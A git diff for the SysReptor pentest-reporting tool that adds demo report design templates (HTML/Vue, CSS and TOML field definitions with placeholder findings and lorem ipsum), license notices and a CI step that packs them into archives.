diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index a206c65..91d9d45 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -205,6 +205,8 @@ build-docs: - set +e - python3 -c 'from hooks import *; generate_software_lists()' || EXIT_CODE=$? - set -e + # Pack demo data archives + - for archive_dir in ../demo_data/*; do reptor packarchive "$archive_dir" -o "docs/assets/${archive_dir##*/}.tar.gz"; done # Fetch remote docs from reptor CLI - mkdir -p docs/cli && cd docs/cli - git init && git remote add -f origin https://github.com/Syslifters/reptor.git diff --git a/CHANGELOG.md b/CHANGELOG.md index 5300a4e..37cd958 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ * Update build system of Vue PDF rendering script from webpack to vite * Improve template field overview UI * Fix error while editing ID of nested field of report section in designer +* Add demo data archives as TOML files to repository ## v2024.3 - 2024-01-09 diff --git a/demo_data/demo-designs/NOTICE b/demo_data/demo-designs/NOTICE new file mode 100644 index 0000000..2bd4f76 --- /dev/null +++ b/demo_data/demo-designs/NOTICE @@ -0,0 +1,106 @@ +This file contains licenses of components used in the HTML/Vue template source code of designs. + +vue +MIT +The MIT License (MIT) + +Copyright (c) 2018-present, Yuxi (Evan) You + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + + +chart.js +MIT +The MIT License (MIT) + +Copyright (c) 2014-2022 Chart.js Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +chartjs-plugin-datalabels +MIT +The MIT License (MIT) + +Copyright (c) 2017-2021 chartjs-plugin-datalabels contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +lodash +MIT +The MIT License + +Copyright JS Foundation and other contributors + +Based on Underscore.js, copyright Jeremy Ashkenas, +DocumentCloud and Investigative Reporters & Editors + +This software consists of voluntary contributions made by many +individuals. For exact contribution history, see the revision history +available at https://github.com/lodash/lodash + +The following license applies to all parts of this software except as +documented below: + +==== + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +==== + +Copyright and related rights for sample code are waived via CC0. Sample +code is defined as all source code displayed within the prose of the +documentation. + +CC0: http://creativecommons.org/publicdomain/zero/1.0/ + +==== + +Files located in the node_modules and vendor directories are externally +maintained libraries used by this software which have their own +licenses; we recommend you read them, as their terms may differ from the +terms above. + + diff --git a/demo_data/demo-designs/calzone-assets/LICENSE b/demo_data/demo-designs/calzone-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/demo-designs/calzone-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/demo-designs/calzone-assets/logo-transparent.png b/demo_data/demo-designs/calzone-assets/logo-transparent.png new file mode 100644 index 0000000..9226d08 Binary files /dev/null and b/demo_data/demo-designs/calzone-assets/logo-transparent.png differ diff --git a/demo_data/demo-designs/calzone-assets/test.png b/demo_data/demo-designs/calzone-assets/test.png new file mode 100644 index 0000000..822c26d Binary files /dev/null and b/demo_data/demo-designs/calzone-assets/test.png differ diff --git a/demo_data/demo-designs/calzone.toml b/demo_data/demo-designs/calzone.toml new file mode 100644 index 0000000..bff1d06 --- /dev/null +++ b/demo_data/demo-designs/calzone.toml @@ -0,0 +1,1054 @@ +format = "projecttypes/v1" +id = "e2fead8f-9a43-4a7d-b694-44cdbcd6c4a6" +name = "Demo Calzone v1.1" +language = "en-US" +finding_field_order = [ + "title", + "cvss", + "references", + "affected_components", + "summary", + "description", + "recommendation", +] +report_template = """ + + + + +
DRAFT
+ + + +
+
+

PENTEST REPORT

+

{{ report.title }}

+
+ +
+

+ Security Maximale GmbH
+ Example Street 47
+ 4711 Example
+ FN 12345 v | D.C. Example +

+

+ +

+
+ +
+

+ {{ report.customer_name }}
+ Attn. {{ report.receiver_name }}
+ {{ report.customer_address.street }}
+ {{ report.customer_address.city }} +

+

+ Example City, {{ formatDate(report.report_date, 'long') }}
+ Report Version: {{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + +
+

List of Figures

+
    +
  • + +
  • +
+
+ +
+ + + +
+

Document Control

+ +
+

Team

+ + + + + + + + + + + +
ContactDetailsRole
{{ u.name }} + Mobile: {{ u.mobile }}
+ E-Mail: {{ u.email }} +
+ + + +
+
+ +
+

List of Changes

+ + + + + + + + + + + +
VersionDescriptionDate
{{ version.version }}{{ version.description }}{{ formatDate(version.date, 'medium') }}
+
+
+ + + + + + + +
+

Executive Summary

+ +
+

Overview

+ +
+ +
+

Identified Vulnerabilities

+ + + + + + + + + + + + + + + + + + +
#CVSSDescriptionPage
+
+ +
+

Vulnerability Overview

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ +
+ +
Distribution of identified vulnerabilities
+
+
+
+ + + +
+

Methodology

+

+ This is a static text built into the design template. If this text changes from report to report, you can + easily make it dynamic by adding a new report field and replacing the text by the used variable, e.g.: + +

{{ report.methodology }}
+ +

+ + + ## Objective {#objective .in-toc.numbered} + This is also a static text. This time it's written in markdown. + + Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. + * Lorem ipsum dolor sit amet + * consetetur sadipscing elitr + * sed diam nonumy eirmod tempor + * Stet clita kasd gubergren + * dolore magna aliquyam erat + + +
+

Scope

+

Here comes a static text with dynamic components:

+

+ Lorem ipsum dolor sit amet, consetetur, from {{ formatDate(report.start_date, 'medium') }} to {{ + formatDate(report.end_date, 'medium') }} no sea takimata sanctus est Lorem ipsum dolor sit + amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sea takimata sanctus est Lorem ipsum dolor + sit amet. Lorem ipsum dolor sit amet, consetetur, {{ report.duration }} consetetur + sadipscing elitr, sea takimata sanctus est Lorem ipsum dolor sit amet. +

+ + +
+ + +
+

User Accounts and Permissions

+ +
+
+ + + +
+

Findings

+ +
+ + + + + + + + + + + + + + + + + + + + +
+

+ {{ ['I', 'L', 'M', 'H', 'C'][finding.cvss.level_number - 1] }}{{ findings.filter(f => + f.cvss.level === finding.cvss.level).indexOf(finding) + 1 }}: + {{ finding.title }} +

+
Score + {{ finding.cvss.score }} ({{ lodash.capitalize(finding.cvss.level) }}) +
Vector string + N/A + {{ finding.cvss.vector }} +
Target + - + {{ finding.affected_components[0] + }} +
    +
  • {{ c }}
  • +
+
References + - + {{ finding.references[0] }} +
    +
  • {{ r }}
  • +
+
+ +

Overview

+ + +

Details

+ + +

Recommendation

+ + + +
+
+ + + + # Disclaimer {#disclaimer .in-toc.numbered} + + Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + + + +
+

Appendix

+ + ## Static Appendix Section {.in-toc.numbered} + TODO: Appendix section content + + +
+

{{ appendix_section.title }}

+ +
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #FF2600; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #0096FF; + --color-risk-info: #00AE51; +} + +/* Font */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + +/* Justification */ +p { + text-align: justify; + text-align-last: start; +} + +/* Links */ +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +/* Code blocks */ +pre code { + border: 1px solid black; +} + +/* Table */ +th { + background-color: #ABABAB; + font-weight: bold; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + + + +/* Table styling */ +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.2em 0.5em 0.2em 0.5em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +td.table-key { + height: 3em; + width: 10em; + background-color: #ABABAB; +} + + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + + +/* Styling affected_components list in findings */ +.finding-systems { + padding-left: 1em; +} +.finding-systems-cols { + column-count: 2; + padding-top: 1em; + margin-bottom: 1em; +} + + +/* Footnotes */ +@page { + @footnote { + border-top: 1px solid black; + } +} +footnote { + font-size: 8pt; +} + + +/* Watermark */ +#watermark { + position: fixed; + top: 8cm; + left: 2cm; + transform: rotate(-45deg); + font-size: 100pt; + opacity: 0.2; +} + + +/* #region lof */ +/* List of figures */ +#lof li { + list-style: none; + margin: 0; + padding: 0; +} +#lof .ref-figure::before { + content: var(--prefix-figure) target-counter(attr(href), figure-counter) " - "; +} +#lof .ref-figure > .ref-title { + display: inline; +} +#lof .ref-figure::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +/* #endregion lof */ + + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +/* #endregion toc */ + + +/* #region footer */ +#footer-left { + position: running(footer-left); +} +#footer-center { + position: running(footer-center); +} +@page { + @bottom-left { + content: element(footer-left); + } + @bottom-center { + content: element(footer-center); + } + @bottom-right-corner { + content: counter(page); + font-size: 9pt; + } +} +/* #endregion footer */ + + +/* #region header */ +@page { + margin: 35mm 20mm 25mm 20mm; + + @top-right { + content: element(header-right); + margin-bottom: 5mm; + width: 50%; + } +} +#header-right { + position: running(header-right); + text-align: end; +} +#header-right img { + height: 27mm; + width: auto; +} +/* #endregion header */ + + +/* #region page-cover */ +#page-cover .page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; +} +#page-cover .page-cover-title h1 { + font-size: 32pt; +} +#page-cover .page-cover-title h2 { + font-size: 24pt; +} +#page-cover .page-cover-recipient { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; +} +#page-cover .page-cover-address { + font-size: 14pt; +} +#page-cover .page-cover-meta { + line-height: 2em; +} +#page-cover .page-cover-imprint { + position: absolute; + top: 12cm; + right: -10mm; + width: 40mm; + font-size: 8pt; +} +@page:first { + /* Hide footer*/ + @bottom-center { content: none !important; } + @bottom-right-corner { content: none !important; } +} +/* #endregion page-cover */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO report title" +required = true +spellcheck = false + +[report_fields.draft] +type = "boolean" +label = "Is Draft?" +origin = "custom" +default = true + +[report_fields.scope] +type = "markdown" +label = "Scope" +origin = "custom" +default = """ +**TODO: Scope** + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur + +| System | Description | +|:---|:---| +| TODO | TODO | +""" +required = true + +[report_fields.duration] +type = "string" +label = "Duration" +origin = "custom" +default = "TODO person days" +required = true +spellcheck = false + +[report_fields.end_date] +type = "date" +label = "Pentest End Date" +origin = "custom" +required = true + +[report_fields.start_date] +type = "date" +label = "Pentest Start Date" +origin = "custom" +required = true + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.customer_name] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO company" +required = true +spellcheck = false + +[report_fields.receiver_name] +type = "string" +label = "Receiver Name" +origin = "custom" +default = "TODO receiver" +required = true +spellcheck = false + +[report_fields.provided_users] +type = "markdown" +label = "Users and Permissions" +origin = "custom" +default = """ +**TODO: Provided Users** +* User 1 +* User 2 +* User 3 +""" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.list_of_changes] +type = "list" +label = "List of Changes" +origin = "custom" +required = true + +[report_fields.list_of_changes.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.list_of_changes.items.properties] +[report_fields.list_of_changes.items.properties.description] +type = "string" +label = "Description" +origin = "custom" +default = "TODO description" +required = true +spellcheck = false + +[report_fields.list_of_changes.items.properties.date] +type = "date" +label = "Date" +origin = "custom" +required = true + +[report_fields.list_of_changes.items.properties.version] +type = "string" +label = "Version" +origin = "custom" +default = "TODO version" +required = true +spellcheck = false + +[report_fields.customer_address] +type = "object" +label = "Address" +origin = "custom" + +[report_fields.customer_address.properties] +[report_fields.customer_address.properties.city] +type = "string" +label = "City" +origin = "custom" +default = "TODO city" +required = true +spellcheck = false + +[report_fields.customer_address.properties.street] +type = "string" +label = "Street" +origin = "custom" +default = "TODO street" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO appendix content" +required = true + +[report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = """ +**TODO: Executive Summary** + +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" +required = true + +[[report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", +] + +[[report_sections]] +id = "scope" +label = "Scope" +fields = [ + "scope", + "start_date", + "end_date", + "duration", + "provided_users", +] + +[[report_sections]] +id = "customer" +label = "Customer" +fields = [ + "customer_name", + "customer_address", + "receiver_name", +] + +[[report_sections]] +id = "other" +label = "Other" +fields = [ + "title", + "report_date", + "report_version", + "list_of_changes", + "draft", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Titel" +origin = "core" +default = "TODO finding title" +required = true +spellcheck = false + +[finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[finding_fields.summary] +type = "markdown" +label = "Overview" +origin = "predefined" +default = "TODO summary" +required = true + +[finding_fields.description] +type = "markdown" +label = "Details" +origin = "predefined" +default = "TODO description" +required = true + +[finding_fields.recommendation] +type = "markdown" +label = "Recommendation" +origin = "predefined" +default = "TODO recommendation" +required = true + +[finding_fields.references] +type = "list" +label = "References" +origin = "predefined" +required = false + +[finding_fields.references.items] +type = "string" +label = "Reference" +origin = "predefined" +default = "TODO reference" +required = true +spellcheck = false + +[finding_fields.affected_components] +type = "list" +label = "Affected Components" +origin = "predefined" +required = true + +[finding_fields.affected_components.items] +type = "string" +label = "Component" +origin = "predefined" +default = "TODO affected component" +required = true +spellcheck = false + +[report_preview_data] +[report_preview_data.report] +title = "Example Web-App" +draft = true +scope = """ +This is the scope of the pentest. The table below was created as "Report Field" as variable `scope` in a markdown field. + +| System | Description | +|:---|:---| +| 10.0.0.1 | System1 | +| 10.0.0.2 | System2 | +| 10.0.0.3 | System3 | +| 10.0.0.4 | System4 | +""" +duration = "10 Person Days" +end_date = "2022-07-29" +start_date = "2022-07-18" +report_date = "2022-07-29" +customer_name = "Example Customer" +receiver_name = "Maximus Demoman" +provided_users = """ +This content is also created in a markdown field per report. + +* **Admin**: admin1@example.com +* **User**: user1@example.com +* **User**: user2@example.com +""" +report_version = "1.0" +executive_summary = """ +This is the executive summary. The variable `executive_summary` is defined as "Report Field" and can be filled out per report in markdown (or HTML). + +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. + +""" + +[[report_preview_data.report.list_of_changes]] +description = "Final Report" +date = "2022-10-19" +version = "1.0" + +[[report_preview_data.report.list_of_changes]] +description = "Draft" +date = "2022-10-18" +version = "0.1" + +[report_preview_data.report.customer_address] +city = "A-4711 Example" +street = "Demo Street 1" + +[[report_preview_data.report.appendix_sections]] +title = "Dynamic Appendix Section" +content = "You can add as many sections as you like. The \"Report Field\" `appendix_section` is a list of objects with a title (text field) and content (markdown field)." + +[[report_preview_data.report.appendix_sections]] +title = "Another Dynamic Appendix Section" +content = """ +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut +labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores +et ea rebum. +""" + +[[report_preview_data.findings]] +title = "Demo Finding Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "a10eed1a-07f5-46ef-bf3a-b78208e72272" +references = [ + "https://example.com", +] +affected_components = [ + "https://example.com", +] + +[[report_preview_data.findings]] +title = "Demo Finding Also Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "36b093db-5512-4169-9641-947d16dfce31" +references = [ + "https://example.com", +] +affected_components = [ + "https://example.com", +] + +[[report_preview_data.findings]] +title = "Demo Finding High" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "25a70e70-515e-4664-b7ab-dffc2f2fe12e" +references = [ + "https://example.com", +] +affected_components = [ + "https://example.com", +] + +[[report_preview_data.findings]] +title = "Demo Finding Low" +cvss = "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "7ecef42b-d76e-4b29-93ad-2f52d0eee4d8" +references = [] +affected_components = [] + +[[assets]] +id = "b51faf43-60cb-4205-b362-4d68920956ec" +name = "LICENSE" + +[[assets]] +id = "ba9ed70f-4394-4ceb-9e88-4cd4db82e650" +name = "test.png" + +[[assets]] +id = "757e56f7-84a3-47b9-807a-3b69d910a0c2" +name = "logo-transparent.png" diff --git a/demo_data/demo-designs/margherita-assets/LICENSE b/demo_data/demo-designs/margherita-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/demo-designs/margherita-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/demo-designs/margherita-assets/background-26185.jpg b/demo_data/demo-designs/margherita-assets/background-26185.jpg new file mode 100644 index 0000000..90cbc0d Binary files /dev/null and b/demo_data/demo-designs/margherita-assets/background-26185.jpg differ diff --git a/demo_data/demo-designs/margherita-assets/header-logo.png b/demo_data/demo-designs/margherita-assets/header-logo.png new file mode 100644 index 0000000..e6ab53a Binary files /dev/null and b/demo_data/demo-designs/margherita-assets/header-logo.png differ diff --git a/demo_data/demo-designs/margherita-assets/logo-transparent.png b/demo_data/demo-designs/margherita-assets/logo-transparent.png new file mode 100644 index 0000000..4526ce1 Binary files /dev/null and b/demo_data/demo-designs/margherita-assets/logo-transparent.png differ diff --git a/demo_data/demo-designs/margherita.toml b/demo_data/demo-designs/margherita.toml new file mode 100644 index 0000000..06665cd --- /dev/null +++ b/demo_data/demo-designs/margherita.toml @@ -0,0 +1,963 @@ +format = "projecttypes/v1" +id = "5d5aae0e-0027-4646-a967-f10a38f376d3" +name = "Demo Margherita v1.1" +language = "en-US" +finding_field_order = [ + "title", + "cvss", + "summary", + "short_recommendation", + "affected_components", + "description", + "recommendation", + "references", + "retest_status", + "retest_notes", +] +report_template = """ + + +
+
+ +
+ + + +
+

{{ report.title }}

+
+ +
+

+ Customer:
+ {{ report.customer }}
+ {{ report.report_date }}
+ v + +

+
+ +
+ Contact:
+ {{ report.lead_pentester.name }}
+ {{ report.lead_pentester.phone }}
+ {{ report.lead_pentester.email }} +
+
+ + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + +
+

Executive Summary

+ +
+ + +
+

Methodology and Scope

+ +
+ + +
+

Vulnerability Overview

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ +
+ +
Distribution of identified vulnerabilities
+
+ + + + + + + + + + + + + + + + +
VulnerabilityCriticalityRemediation Status
